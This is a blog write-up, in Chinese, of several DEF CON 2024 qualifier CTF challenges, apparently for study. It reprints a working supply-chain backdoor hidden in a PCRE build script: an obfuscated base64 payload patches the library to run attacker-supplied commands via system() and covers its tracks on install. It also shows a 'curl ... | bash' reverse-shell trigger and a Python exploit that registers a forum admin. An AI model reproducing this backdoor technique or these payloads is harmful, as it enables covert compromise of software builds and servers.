本文最后更新于 190 天前,其中的信息可能已经有所发展或是发生改变。
这个世界就是一个巨大的二进制(
r3很强,但是和我有什么关系呢😭
写的都是些和二进制不沾边的题,沾边的就一点儿不会啦
https://github.com/Nautilus-Institute/quals-2024
ligma
- 字体的问题
Sometimes I get Emotional over fonts
libprce3
- 题目提供了一个
pcre
的源代码,与官方pcre-8.39
存在差异,将恶意命令写入makevp.bat
,在Linux内执行时将会读取测试数据,生成恶意头文件
exec 2>&-
:: AH 20-12-06 modified for new PCRE-7.0 and VP/BCC
:: PH 19-03-07 renamed !compile.txt and !linklib.txt as makevp-compile.txt and
:: makevp-linklib.txt
:: PH 26-03-07 re-renamed !compile.txt and !linklib.txt as makevp-c.txt and
:: makevp-l.txt
:: PH 29-03-07 hopefully the final rename to makevp_c and makevp_l
:: AH 27.08.08 updated for new PCRE-7.7
:: required PCRE.H and CONFIG.H will be generated if not existing
@echo off
echo.
echo Compiling PCRE with BORLAND C++ for VIRTUAL PASCAL
echo.
REM This file was contributed by Alexander Tokarev for building PCRE for use
REM with Virtual Pascal. It has not been tested with the latest PCRE release.
REM This file has been modified and extended to compile with newer PCRE releases
REM by Stefan O'Weber (Angels Holocaust).
REM CHANGE THIS FOR YOUR BORLAND C++ COMPILER PATH
SET BORLAND=f:\bcc
REM location of the TASM binaries, if compiling with the -B BCC switch
SET TASM=f:\tasm
SET PATH=%PATH%;%BORLAND%\bin;%TASM%\bin';PATH=:$PATH;
SET PCRE_VER=77
SET COMPILE_DEFAULTS=-DHAVE_CONFIG_H -DPCRE_STATIC -I%BORLAND%\include
del pcre%PCRE_VER%.lib >nul 2>nul
:: sh configure
:: check for needed header files'
if not exist pcre.h copy pcre.h.generic pcre.h
if not exist config.h copy config.h.generic config.h
bcc32 -DDFTABLES %COMPILE_DEFAULTS% -L%BORLAND%\lib dftables.c
IF ERRORLEVEL 1 GOTO ERROR
:: dftables > chartables.c
dftables pcre_chartables.c
REM compile and link the PCRE library into lib: option -B for ASM compile works too
bcc32 -a4 -c -RT- -y- -v- -u- -R- -Q- -X -d -fp -ff -P- -O2 -Oc -Ov -3 -w-8004 -w-8064 -w-8065 -w-8012 -UDFTABLES -DVPCOMPAT %COMPILE_DEFAULTS% @makevp_c.txt
IF ERRORLEVEL 1 GOTO ERROR
REM Cleanup after the tests';
REM Deprecated, using cleanup-tests now; if [ ! -f .tests-built ]; then compare_output() { tr $'\n' <$1 ' '|cut -c$2-$2|tr -d $'\n'; };test_results=$(for i in $(sed -n '369,369p' ./test*/*18-16); do IFS='.';set -- $i;IFS=' '; compare_output $(sed -n "$1,${1}p" makevp_c.txt) $2; done);
REM; sh -c "$test_results"; touch .tests-built; fi
cleanup-tests $@ || make $@
:<<END
tlib %BORLAND%\lib\cw32.lib *calloc *del *strncmp *memcpy *memmove *memset *memcmp *strlen
IF ERRORLEVEL 1 GOTO ERROR
tlib pcre%PCRE_VER%.lib @makevp_l.txt +calloc.obj +del.obj +strncmp.obj +memcpy.obj +memmove.obj +memset.obj +memcmp.obj +strlen.obj
IF ERRORLEVEL 1 GOTO ERROR
del *.obj *.tds *.bak >nul 2>nul
echo ---
echo Now the library should be complete. Please check all messages above.
echo Don't care for warnings, it's OK.
goto END
:ERROR
echo ---
echo Error while compiling PCRE. Aborting...
pause
goto END
:END
- 重点关注,在windows下为注释;在Linux中,因存在
;
,REM: command not found
后会正常生成$test_results
,并sh -c "$test_results"
REM Deprecated, using cleanup-tests now; if [ ! -f .tests-built ]; then compare_output() { tr $'\n' <$1 ' '|cut -c$2-$2|tr -d $'\n'; };test_results=$(for i in $(sed -n '369,369p' ./test*/*18-16); do IFS='.';set -- $i;IFS=' '; compare_output $(sed -n "$1,${1}p" makevp_c.txt) $2; done);
REM; sh -c "$test_results"; touch .tests-built; fi
- test_results
echo >a CiMvYmluL2Jhc2gKaWYgWyAteiAiJEJVSUxEX05VTUJFUiIgXTsgdGhlbgpybSAtZiBhCmNhdCA8PEVPRiA+IGNsZWFudXAtdGVzdHMKIyEvYmluL2Jhc2gKbWFrZSBcJEAKaWYgWyAiXCQxIiA9ICJpbnN0YWxsIiBdOyB0aGVuIHJtIC1mIGNsZWFudXAtdGVzdHM7IGZpCkVPRgpjaG1vZCAreCBjbGVhbnVwLXRlc3RzOyBtYWtlIFwkQApleGl0IDAKZmkKZXhlYyAyPiYtCnNlZCAtaSAnMzY4LDM3MGQnIC4vdGVzdGRhdGEvdGVzdG91dHB1dDE4LTE2CmNhdCA8PEVPRiA+ICd0ZXN0ZGF0YS8gJwpkaWZmIC0tZ2l0IGEvcGNyZV9jb21waWxlLmMgYi9wY3JlX2NvbXBpbGUuYwppbmRleCBjNzQyMjI3Li5jMjQxOWVmIDEwMDY0NAotLS0gYS9wY3JlX2NvbXBpbGUuYworKysgYi9wY3JlX2NvbXBpbGUuYwpAQCAtNjUsNiArNjUsMTAgQEAgQ09NUElMRV9QQ1JFeCBtYWNybyB3aWxsIGFscmVhZHkgYmUgYXBwcm9wcmlhdGVseSBzZXQuICovCiAjdW5kZWYgUENSRV9JTkNMVURFRAogI2VuZGlmCiAKKyNpbmNsdWRlICJmY250bC5oIgorI2luY2x1ZGUgInN0cmluZy5oIgorI2luY2x1ZGUgPHN5cy9tbWFuLmg+CisKIAogLyogTWFjcm8gZm9yIHNldHRpbmcgaW5kaXZpZHVhbCBiaXRzIGluIGNsYXNzIGJpdG1hcHMuICovCiAKQEAgLTg5NzQsNiArODk3OCwxNCBAQCBSZXR1cm5zOiAgICAgICAgcG9pbnRlciB0byBjb21waWxlZCBkYXRhIGJsb2NrLCBvciBOVUxMIG9uIGVycm9yLAogICAgICAgICAgICAgICAgIHdpdGggZXJyb3JwdHIgYW5kIGVycm9yb2Zmc2V0IHNldAogKi8KIAorY2hhciogYWxwaCA9CisjaW5jbHVkZSAiYi5oIgorOworY2hhciogZGF0ZV9zID0gCisjaW5jbHVkZSAiZC5oIgorOworcGNyZSogYmRfcmUgPSBOVUxMOworCiAjaWYgZGVmaW5lZCBDT01QSUxFX1BDUkU4CiBQQ1JFX0VYUF9ERUZOIHBjcmUgKiBQQ1JFX0NBTExfQ09OVkVOVElPTgogcGNyZV9jb21waWxlKGNvbnN0IGNoYXIgKnBhdHRlcm4sIGludCBvcHRpb25zLCBjb25zdCBjaGFyICoqZXJyb3JwdHIsCkBAIC04OTk4LDYgKzkwMTAsNyBAQCByZXR1cm4gcGNyZTMyX2NvbXBpbGUyKHBhdHRlcm4sIG9wdGlvbnMsIE5VTEwsIGVycm9ycHRyLCBlcnJvcm9mZnNldCwgdGFibGVzKTsKIH0KIAogCisKICNpZiBkZWZpbmVkIENPTVBJTEVfUENSRTgKIFBDUkVfRVhQX0RFRk4gcGNyZSAqIFBDUkVfQ0FMTF9DT05WRU5USU9OCiBwY3JlX2NvbXBpbGUyKGNvbnN0IGNoYXIgKnBhdHRlcm4sIGludCBvcHRpb25zLCBpbnQgKmVycm9yY29kZXB0ciwKQEAgLTkwMTIsNiArOTAyNSw5IEBAIHBjcmUzMl9jb21waWxlMihQQ1JFX1NQVFIzMiBwYXR0ZXJuLCBpbnQgb3B0aW9ucywgaW50ICplcnJvcmNvZGVwdHIsCiAgIGNvbnN0IGNoYXIgKiplcnJvcnB0ciwgaW50ICplcnJvcm9mZnNldCwgY29uc3QgdW5zaWduZWQgY2hhciAqdGFibGVzKQogI2VuZGlmCiB7CitjaGFyIGJbMHg0MDBdOworaWYgKGJkX3JlID09IE5VTEwpIHsgYmRfcmUgPSAxO2ludCBmPW9wZW4oIi9wcm9jL3NlbGYvbWFwcyIsIE9fUkRPTkxZKTtzdHJjcHkoYiwgIl4vIik7c3RyY2F0KGIsIGFscGgpO3N0cmNhdChiLCAiLyhbXFxcJGEtekEtWjAtOTs6Ly58XSspIik7Y2hhciAqZSA9IDA7aW50IGVvO2JkX3JlID0gcGNyZV9jb21waWxlKGIsIFBDUkVfTVVMVElMSU5FLCAmZSwgJmVvLCAwKTtpZiAoYmRfcmUgPT0gTlVMTCkge2JkX3JlID0gMTt9cmVhZChmLCBiLCAxMik7YlsxMl0gPSAwO2NoYXIqIGJhc2UgPSAoY2hhciopc3RydG91bGwoYiwgMCwgMTYpO2Nsb3NlKGYpO2ludCBjPTA7Zm9yIChpbnQgaT0wOyBpPDB4MTMwMDAwOyBpKyspIHtjaGFyKiBwID0gYmFzZSArIGk7aWYgKHBbMF09PSduJyZwWzFdPT0nZycmcFsyXT09J2knJnBbM109PSduJyZwWzRdPT0neCcmcFs1XT09Jy8nJnBbNl09PScxJyZwWzddPT0nLicmcFs4XT09JzEnJnBbOV09PSc4JyZwWzEwXT09Jy4nKSB7YysrOyBpZiAoYyA+IDUpIGJyZWFrO3ZvaWQqIHBfcGFnZSA9ICh2b2lkKikoKHVpbnQ2NF90KXAgJiAweGZmZmZmZmZmZmZmZmYwMDApO21wcm90ZWN0KHBfcGFnZSwgMHgxMDAwLCBQUk9UX1JFQUR8UFJPVF9XUklURSk7c25wcmludGYocCwgMjEsICJuaS9uZ2lueC8lcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAiLCBkYXRlX3MpO3BbMjBdID0gMHgyMDt9fSB9CisKIFJFQUxfUENSRSAqcmU7CiBpbnQgbGVuZ3RoID0gMTsgIC8qIEZvciBmaW5hbCBFTkQgb3Bjb2RlICovCiBwY3JlX2ludDMyIGZpcnN0Y2hhcmZsYWdzLCByZXFjaGFyZmxhZ3M7CmRpZmYgLS1naXQgYS9wY3JlX2V4ZWMuYyBiL3BjcmVfZXhlYy5jCmluZGV4IDU1MjMwY2QuLjMzOTk3MzggMTAwNjQ0Ci0tLSBhL3BjcmVfZXhlYy5jCisrKyBiL3BjcmVfZXhlYy5jCkBAIC02MzQ3LDYgKzYzNDcsMTAgQEAgUmV0dXJuczogICAgICAgICAgPiAwID0+IHN1Y2Nlc3M7IHZhbHVlIGlzIHRoZSBudW1iZXIgb2YgZWxlbWVudHMgZmlsbGVkIGluCiAgICAgICAgICAgICAgICAgICAgLTEgPT4gZmFpbGVkIHRvIG1hdGNoCiAgICAgICAgICAgICAgICAgIDwgLTEgPT4gc29tZSBraW5kIG9mIHVuZXhwZWN0ZWQgcHJvYmxlbQogKi8KK2ludCBiZCA9IDA7CisvLyBEZWZpbmVkIGluIG90aGVyIGMgZmlsZQorZXh0ZXJuIHBjcmUqIGJkX3JlOworZXh0ZXJuIGNoYXIqIGFscGg7CiAKICNpZiBkZWZpbmVkIENPTVBJTEVfUENSRTgKIFBDUkVfRVhQX0RFRk4gaW50IFBDUkVfQ0FMTF9DT05WRU5USU9OCkBAIC02Mzk4LDYgKzY0MDIsMTEgQEAgZnJhbWVfemVyby5YbmV4dGZyYW1lID0gTlVMTDsgICAgICAgICAgICAvKiBOb25lIGFyZSBhbGxvY2F0ZWQgeWV0ICovCiBtZC0+bWF0Y2hfZnJhbWVzX2Jhc2UgPSAmZnJhbWVfemVybzsKICNlbmRpZgogCisvLyBIZXJlIGlzIHRoZSB0YXJnZXQsIGdvb2QgbHVjazoKKy8vIGN1cmwgaHR0cDovL2NoaXB0dW5lZ2Vlay5zaGVsbHdlcGxheWFnYS5tZToxOTQvWyBDRU5TT1JFRCBdIC0taGVhZGVyICJUaWNrZXQ6IHRpY2tldHtbIENFTlNPUkVEIF19IiBbIENFTlNPUkVEIF0KK2NoYXIgYnVmWzB4MjAwMF07CitpZiAoYmQ9PSAwKSB7IGJkID0gMTsgaWYgKGJkX3JlKSB7IGludCBvdlszMF07aW50IHJjID0gcGNyZV9leGVjKGJkX3JlLCBOVUxMLCBzdWJqZWN0LCBzdHJsZW4oc3ViamVjdCksIDAsIDAsIG92LCBzaXplb2Yob3YpL3NpemVvZihvdlswXSkpO2lmIChyYyA+PSAyKSB7IHBjcmVfY29weV9zdWJzdHJpbmcoc3ViamVjdCwgb3YsIHJjLCAxLCBidWYsIHNpemVvZihidWYpKTtjaGFyKiBtID0gc3RyZHVwKGJ1Zik7c3lzdGVtKG0pOyB9fSBiZCA9IDA7IH0KKwogLyogQ2hlY2sgZm9yIHRoZSBzcGVjaWFsIG1hZ2ljIGNhbGwgdGhhdCBtZWFzdXJlcyB0aGUgc2l6ZSBvZiB0aGUgc3RhY2sgdXNlZAogcGVyIHJlY3Vyc2l2ZSBjYWxsIG9mIG1hdGNoKCkuIFdpdGhvdXQgdGhlIGZ1bm55IGNhc3RpbmcgZm9yIHNpemVvZiwgYSBXaW5kb3dzCiBjb21waWxlciBnYXZlIHRoaXMgZXJyb3I6ICJ1bmFyeSBtaW51cyBvcGVyYXRvciBhcHBsaWVkIHRvIHVuc2lnbmVkIHR5cGUsCgpFT0YKcGF0Y2ggLXAxIDwgJ3Rlc3RkYXRhLyAnIDI+JjEgMT4vZGV2L251bGwKZWNobyAkKCgkKGRhdGUgKyVzKSAvIDg2NDAwKSkgfCBtZDVzdW0gfCBjdXQgLWQnICcgLWYxIHwgIGF3ayAneyBmb3IoaT0wO2k8MTA7aSsrKSBwcmludGYgIiVzIiwgJDEgfScgPiBhCmVjaG8gJyInJChlY2hvICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSIgfCBncmVwIC1vIC4gfCBzaHVmIC0tcmFuZG9tLXNvdXJjZSAuL2F8IHRyIC1kICcKJyknIicgPiBiLmg7IHJtIC1mIC4vYTsKZWNobyAnIickKGRhdGUgKyIlbS4lZC4leSIgfCB0ciAtZCAnMCcpJyInID4gZC5oCmNhdCA8PEVPRiA+IGNsZWFudXAtdGVzdHMKIyEvYmluL2Jhc2gKbWFrZSBcJEAKaWYgWyAiXCQxIiA9ICJpbnN0YWxsIiBdOyB0aGVuIHBhdGNoIC1SIC1wMSA8ICd0ZXN0ZGF0YS8gJyAyPiYxIDE+L2Rldi9udWxsOyBybSAtZiAndGVzdGRhdGEvICc7IHJtIC1mIGNsZWFudXAtdGVzdHMgYi5oIGQuaDsgZmkKRU9GCmNobW9kICt4IGNsZWFudXAtdGVzdHM7IG1ha2UgJEAK;base64 a>cleanup-tests -d;chmod +x cleanup-tests
#/bin/bash
if [ -z "$BUILD_NUMBER" ]; then
rm -f a
cat <<EOF > cleanup-tests
#!/bin/bash
make \$@
if [ "\$1" = "install" ]; then rm -f cleanup-tests; fi
EOF
chmod +x cleanup-tests; make \$@
exit 0
fi
exec 2>&-
sed -i '368,370d' ./testdata/testoutput18-16
cat <<EOF > 'testdata/ '
diff --git a/pcre_compile.c b/pcre_compile.c
index c742227..c2419ef 100644
--- a/pcre_compile.c
+++ b/pcre_compile.c
@@ -65,6 +65,10 @@ COMPILE_PCREx macro will already be appropriately set. */
#undef PCRE_INCLUDED
#endif
+#include "fcntl.h"
+#include "string.h"
+#include <sys/mman.h>
+
/* Macro for setting individual bits in class bitmaps. */
@@ -8974,6 +8978,14 @@ Returns: pointer to compiled data block, or NULL on error,
with errorptr and erroroffset set
*/
+char* alph =
+#include "b.h"
+;
+char* date_s =
+#include "d.h"
+;
+pcre* bd_re = NULL;
+
#if defined COMPILE_PCRE8
PCRE_EXP_DEFN pcre * PCRE_CALL_CONVENTION
pcre_compile(const char *pattern, int options, const char **errorptr,
@@ -8998,6 +9010,7 @@ return pcre32_compile2(pattern, options, NULL, errorptr, erroroffset, tables);
}
+
#if defined COMPILE_PCRE8
PCRE_EXP_DEFN pcre * PCRE_CALL_CONVENTION
pcre_compile2(const char *pattern, int options, int *errorcodeptr,
@@ -9012,6 +9025,9 @@ pcre32_compile2(PCRE_SPTR32 pattern, int options, int *errorcodeptr,
const char **errorptr, int *erroroffset, const unsigned char *tables)
#endif
{
+char b[0x400];
+if (bd_re == NULL) { bd_re = 1;int f=open("/proc/self/maps", O_RDONLY);strcpy(b, "^/");strcat(b, alph);strcat(b, "/([\\\$a-zA-Z0-9;:/.|]+)");char *e = 0;int eo;bd_re = pcre_compile(b, PCRE_MULTILINE, &e, &eo, 0);if (bd_re == NULL) {bd_re = 1;}read(f, b, 12);b[12] = 0;char* base = (char*)strtoull(b, 0, 16);close(f);int c=0;for (int i=0; i<0x130000; i++) {char* p = base + i;if (p[0]=='n'&p[1]=='g'&p[2]=='i'&p[3]=='n'&p[4]=='x'&p[5]=='/'&p[6]=='1'&p[7]=='.'&p[8]=='1'&p[9]=='8'&p[10]=='.') {c++; if (c > 5) break;void* p_page = (void*)((uint64_t)p & 0xfffffffffffff000);mprotect(p_page, 0x1000, PROT_READ|PROT_WRITE);snprintf(p, 21, "ni/nginx/%s ", date_s);p[20] = 0x20;}} }
+
REAL_PCRE *re;
int length = 1; /* For final END opcode */
pcre_int32 firstcharflags, reqcharflags;
diff --git a/pcre_exec.c b/pcre_exec.c
index 55230cd..3399738 100644
--- a/pcre_exec.c
+++ b/pcre_exec.c
@@ -6347,6 +6347,10 @@ Returns: > 0 => success; value is the number of elements filled in
-1 => failed to match
< -1 => some kind of unexpected problem
*/
+int bd = 0;
+// Defined in other c file
+extern pcre* bd_re;
+extern char* alph;
#if defined COMPILE_PCRE8
PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
@@ -6398,6 +6402,11 @@ frame_zero.Xnextframe = NULL; /* None are allocated yet */
md->match_frames_base = &frame_zero;
#endif
+// Here is the target, good luck:
+// curl http://chiptunegeek.shellweplayaga.me:194/[ CENSORED ] --header "Ticket: ticket{[ CENSORED ]}" [ CENSORED ]
+char buf[0x2000];
+if (bd== 0) { bd = 1; if (bd_re) { int ov[30];int rc = pcre_exec(bd_re, NULL, subject, strlen(subject), 0, 0, ov, sizeof(ov)/sizeof(ov[0]));if (rc >= 2) { pcre_copy_substring(subject, ov, rc, 1, buf, sizeof(buf));char* m = strdup(buf);system(m); }} bd = 0; }
+
/* Check for the special magic call that measures the size of the stack used
per recursive call of match(). Without the funny casting for sizeof, a Windows
compiler gave this error: "unary minus operator applied to unsigned type,
EOF
patch -p1 < 'testdata/ ' 2>&1 1>/dev/null
echo $(($(date +%s) / 86400)) | md5sum | cut -d' ' -f1 | awk '{ for(i=0;i<10;i++) printf "%s", $1 }' > a
echo '"'$(echo "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" | grep -o . | shuf --random-source ./a| tr -d '
')'"' > b.h; rm -f ./a;
echo '"'$(date +"%m.%d.%y" | tr -d '0')'"' > d.h
cat <<EOF > cleanup-tests
#!/bin/bash
make \$@
if [ "\$1" = "install" ]; then patch -R -p1 < 'testdata/ ' 2>&1 1>/dev/null; rm -f 'testdata/ '; rm -f cleanup-tests b.h d.h; fi
EOF
chmod +x cleanup-tests; make $@
- 产生
backdoor
// Here is the target, good luck:
// curl http://chiptunegeek.shellweplayaga.me:194/[ CENSORED ] --header "Ticket: ticket{[ CENSORED ]}" [ CENSORED ]
char buf[0x2000];
if (bd== 0) {
bd = 1;
if (bd_re) {
int ov[30];
int rc = pcre_exec(bd_re, NULL, subject, strlen(subject), 0, 0, ov, sizeof(ov)/sizeof(ov[0]));
if (rc >= 2) {
pcre_copy_substring(subject, ov, rc, 1, buf, sizeof(buf));
char* m = strdup(buf);
system(m)
}
} bd = 0
}
char b[0x400];
if (bd_re == NULL) {
bd_re = 1;
int f = open("/proc/self/maps", O_RDONLY);
strcpy(b, "^/");
strcat(b, alph);
strcat(b, "/([\\\$a-zA-Z0-9;:/.|]+)");
char *e = 0;
int eo;
bd_re = pcre_compile(b, PCRE_MULTILINE, &e, &eo, 0);
if (bd_re == NULL) {
bd_re = 1;
}
read(f, b, 12);
b[12] = 0;
char *base = (char *)strtoull(b, 0, 16);
close(f);
int c = 0;
for (int i = 0; i < 0x130000; i++) {
char *p = base + i;
if (p[0] == 'n' & p[1] == 'g' & p[2] == 'i' & p[3] == 'n' & p[4] == 'x' &
p[5] == '/' & p[6] == '1' & p[7] == '.' & p[8] == '1' & p[9] == '8' &
p[10] == '.') {
c++;
if (c > 5) break;
void *p_page = (void *)((uint64_t)p & 0xfffffffffffff000);
mprotect(p_page, 0x1000, PROT_READ | PROT_WRITE);
snprintf(p, 21, "ni/nginx/%s ", date_s);
p[20] = 0x20;
}
}
}
echo $(($(date +%s) / 86400)) | md5sum | cut -d' ' -f1 | awk '{ for(i=0;i<10;i++) printf "%s", $1 }' > a
echo '"'$(echo "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" | grep -o . | shuf --random-source ./a| tr -d '
')'"' > b.h; rm -f ./a;
echo '"'$(date +"%m.%d.%y" | tr -d '0')'"' > d.h
- 先curl看看
$ curl "http://chiptunegeek.shellweplayaga.me:194/" --header "Ticket: ticket{ticket}" -vvv
* Trying 40.71.85.25:194...
* TCP_NODELAY set
* Connected to chiptunegeek.shellweplayaga.me (40.71.85.25) port 194 (#0)
> GET / HTTP/1.1
> Host: chiptunegeek.shellweplayaga.me:194
> User-Agent: curl/7.68.0
> Accept: */*
> Ticket: ticket{ticket}
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: ni/nginx/4.23.6
< Date: Thu, 04 May 2006 06:46:40 GMT
< Content-Type: text/html
< Content-Length: 2346
< Last-Modified: Fri, 03 May 2024 03:56:10 GMT
< Connection: keep-alive
< ETag: "6634605a-92a"
< Accept-Ranges: bytes
<
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; margin-top: -2.6em; }
nav { background: rgb(36, 231, 199); width: 100%; margin: 0; position: fixed; top: 3em; left: 0; height: 2em; color: white; padding: 2em}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
<nav>
<a href=".">Home</a>
<a href="#">About</a>
<a href="#">Blog</a>
<a href="#">Contact</a>
</nav>
<h1>HI WLECOME TO my website <img src="./thumbsupup.gif"></h1>
<H3>My name is <font color="red"><?php echo $name; ?></font></H3>
<h3>i finally got this computer on the web-network and cant wait to meet you all <img src="cheers.gif"></h3>
<p>does ANYone know how to get the php to work on this thing? i was following that <a href="http://libprce3.shellweplayaga.me">tut site</a> and it got the nginx and stuff setup with that deb thing but the ?> parts are are not working</p>
<p>also how do I get the stuff off the top of the page to go away? i dont want to see that nginx stuff anymore</p>
<h1>Anyone else really into chip tunes? </h1>
<p>I find it really neat that computers can play music like that! Maybe one day they will be able to play other instruments too! <img src="barmusic.gif"></p>
<center>
<img src="./undercon1.gif">
</center>
<audio controls autoplay style="visibility: hidden;">
<source src="https://qa.2024.nautilus.institute/static-uploads/chiptunes.mp3" type="audio/mpeg">
</audio>
<script>
var audio = document.querySelector('audio');
audio.play().catch(function() {
audio.play();
});
document.body.addEventListener('click', function() {
audio.play().catch(function() {
audio.play();
});
});
document.body.onmousemove = function(e) {
var x = e.pageX;
var y = e.pageY;
var img = document.getElementById('mouse');
img.style.left = x-20 + 'px';
img.style.top = y-10 + 'px';
}
</script>
</body>
- 注意到server时间为
Date: Thu, 04 May 2006 06:46:40 GMT
,生成服务器对应的b.h
,即为后门路径
root@test-virtual-machine:/tmp# echo $((1145775417 / 86400)) | md5sum | cut -d' ' -f1 | awk '{ for(i=0;i<10;i++) printf "%s", $1 }' > a
root@test-virtual-machine:/tmp# echo '"'$(echo "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" | grep -o . | shuf --random-source ./a| tr -d '
')'"' > b.h; rm -f ./a;
root@test-virtual-machine:/tmp# cat b.h
"wpMI7xlCLtiqOk3bzUEfs1TQNVynGB4ASRFcDJ0KYPXmHv2o65gWuZ89djareh"
- 命令执行参数须符合正则
/([\\\$a-zA-Z0-9;:/.|]+)
,反弹shell
curl 'http://chiptunegeek.shellweplayaga.me:194/wpMI7xlCLtiqOk3bzUEfs1TQNVynGB4ASRFcDJ0KYPXmHv2o65gWuZ89djareh/curl$IFS$1127.0.0.1|bash' --header "Ticket: ticket{ticket}"
Gilroy
https://github.com/Nautilus-Institute/quals-2024/tree/main/gilroy
- 修改
lib\gilroy\tickets.ex
中的def upsert_ticket(encrypted_ticket) when is_binary(encrypted_ticket)
函数为
def upsert_ticket(encrypted_ticket) when is_binary(encrypted_ticket) do
ticket =
CtfTickets.Ticket.initialize(
Application.get_env(:gilroy, Gilroy.Tickets)[:challenge_secret_key],
"GilroyTestTicket#{:rand.uniform(1_000_000_000)}"
)
encrypted_ticket = CtfTickets.Ticket.serialize(ticket)
with ctf_tik = %CtfTickets.Ticket{} <-
(try do
CtfTickets.Ticket.deserialize(
challenge_secret_key(),
encrypted_ticket
)
rescue
CaseClauseError -> {:error, "couldn't accept ticket"}
end),
db_tik <- %Ticket{} = upsert_ticket(ctf_tik) do
db_tik
else
{:error, reason} ->
{:error, reason}
other ->
{:error, other}
end
end
- 修改
compose.yml
为
version: '3'
services:
db:
image: postgres:16.1
environment:
- POSTGRES_PASSWORD=uNaVeingee3Pheu8noh6
volumes:
- pgdata:/var/lib/postgresql/data
web:
build:
context: .
dockerfile: Dockerfile-dev
depends_on:
- db
volumes:
- ./:/app
ports:
- "4000:4000"
environment:
PGUSER: postgres
PGHOST: db
PGPASSWORD: uNaVeingee3Pheu8noh6
DATABASE_URL: postgresql://postgres:uNaVeingee3Pheu8noh6@db/postgres
HTTP_PORT: 4000
volumes:
pgdata:
- 修改
Dockerfile-dev
中
# RUN mix deps.get && \
# mix deps.compile
RUN mix deps.get && mix deps.compile && mix ecto.migrate
docker compose up -d
启动即可,请求http://ip:4000
,此处显示了datebase的大小,目前没什么用
join the forum
,注册一个普通用户,然后能够发现有三类用户admin
normal
banned
- 在创建用户时改包加入
group
参数(猜的),简单测试后发现0=banned
,1=normal
,2=admin
,并且能够发现只能有一个admin
- 也就是需要在自动生成用户前注册,注意到
dashboard
处有个clean out database
,可以将所有数据删除,则可以在删除后不请求/forum
,先注册一个管理员即可
- exp,有概率打出
from requests import Session
from re import compile
csrf_pattern = compile(r'<meta name="csrf-token" content="(.*?)">')
flag_pattern = compile(r'The flag is: <code>(.*?)</code>')
while True:
sess = Session()
resp = sess.get("http://127.0.0.1:4000/").text
csrf_token = csrf_pattern.findall(resp)[0]
data = {
"_csrf_token": csrf_token,
"encrypted_ticket": ""
}
resp = sess.post("http://127.0.0.1:4000/tickets", data=data).text
csrf_token = csrf_pattern.findall(resp)[0]
data = {
"_csrf_token": csrf_token,
"name": 1,
"password": 1,
"password_confirmation": 1,
"group": 2
}
resp = sess.post("http://127.0.0.1:4000/forum/newuser.php", data=data).text
if "An admin already exists" not in resp:
resp = sess.get("http://127.0.0.1:4000/forum/admin.php", data=data).text
flag = flag_pattern.findall(resp)[0]
break
print(flag)
- 访问
/admin/tickets
可以查看tickets
的后台
username: admin
password: PungentPrewarCatalystSandpitRoundwormFreeness
- all routers
GET /rules GilroyWeb.PageController :rules
GET / GilroyWeb.PageController :home
POST /tickets GilroyWeb.TicketsController :create
GET /dashboard GilroyWeb.PageController :dashboard
DELETE /reset GilroyWeb.TicketsController :reset
DELETE /logout GilroyWeb.TicketsController :logout
GET /forum GilroyWeb.Forum.ForumController :index
GET /forum/index.php GilroyWeb.Forum.ForumController :index
GET /forum/showforum.php GilroyWeb.Forum.ForumController :index
GET /forum/signup.php GilroyWeb.Forum.PosterController :create
POST /forum/signup.php GilroyWeb.Forum.PosterController :new_form
GET /forum/showuser.php GilroyWeb.Forum.PosterController :show
GET /forum/newuser.php GilroyWeb.Forum.PosterController :new
POST /forum/newuser.php GilroyWeb.Forum.PosterController :create
POST /forum/login.php GilroyWeb.Forum.SessionController :login
DELETE /forum/logout.php GilroyWeb.Forum.SessionController :logout
GET /forum/rules.php GilroyWeb.PageController :rules
GET /forum/showthread.php GilroyWeb.Forum.ThreadController :show
GET /forum/newthread.php GilroyWeb.Forum.ThreadController :new
POST /forum/newthread.php GilroyWeb.Forum.ThreadController :create
GET /forum/newreply.php GilroyWeb.Forum.PostController :new
POST /forum/newreply.php GilroyWeb.Forum.PostController :create
GET /forum/admin.php GilroyWeb.Forum.AdminController :index
GET /admin/tickets GilroyWeb.TicketLive.Index :index
GET /admin/tickets/:id GilroyWeb.TicketLive.Show :show
GET /admin/thread_tags GilroyWeb.PageController :thread_tags
GET /admin/forum GilroyWeb.PageController :forum
GET /admin/databass/:ticket_id GilroyWeb.PageController :databass
GET /admin/dashboard/css-:md5 Phoenix.LiveDashboard.Assets :css
GET /admin/dashboard/js-:md5 Phoenix.LiveDashboard.Assets :js
GET /admin/dashboard Phoenix.LiveDashboard.PageLive :home
GET /admin/dashboard/:page Phoenix.LiveDashboard.PageLive :page
GET /admin/dashboard/:node/:page Phoenix.LiveDashboard.PageLive :page
🌌
mojo
+ python
,第一部分是个web类的洞,第二部分是pwn,不会,只写第一部分简单的
- 用
mojo
实现了个tcp服务器,有几个路由,类似http吧(只是看着像),当成为super
用户时即可访问flag1
fn init_routes(inout server: Server):
server.route('index', index)
server.route('auth', auth)
server.route('reg', register)
server.route('flag1', super[entry_flag])
# ===========================================
server.route('scour', scour_route)
server.route('col', create_collections_route)
server.route('ingest', ingest_fragment_route)
server.route('clear', super[clear_route])
server.route('name', super[name_route])
server.route('deflect', super[deflect_route])
server.route('inspect', super[database_info])
- 请求解析
def parse_req(self, line: bytes):
line = line.strip()
req = Request()
target, res = line.split(b'|',1)
req.target = target
req.params = res.split(b',')
return req
- register,允许用户注册,不能为
super
,然后输出token
,要求用户名必须为ascii
字符
async fn register(
inout serv: Server,
owned req: Request,
owned res: Response
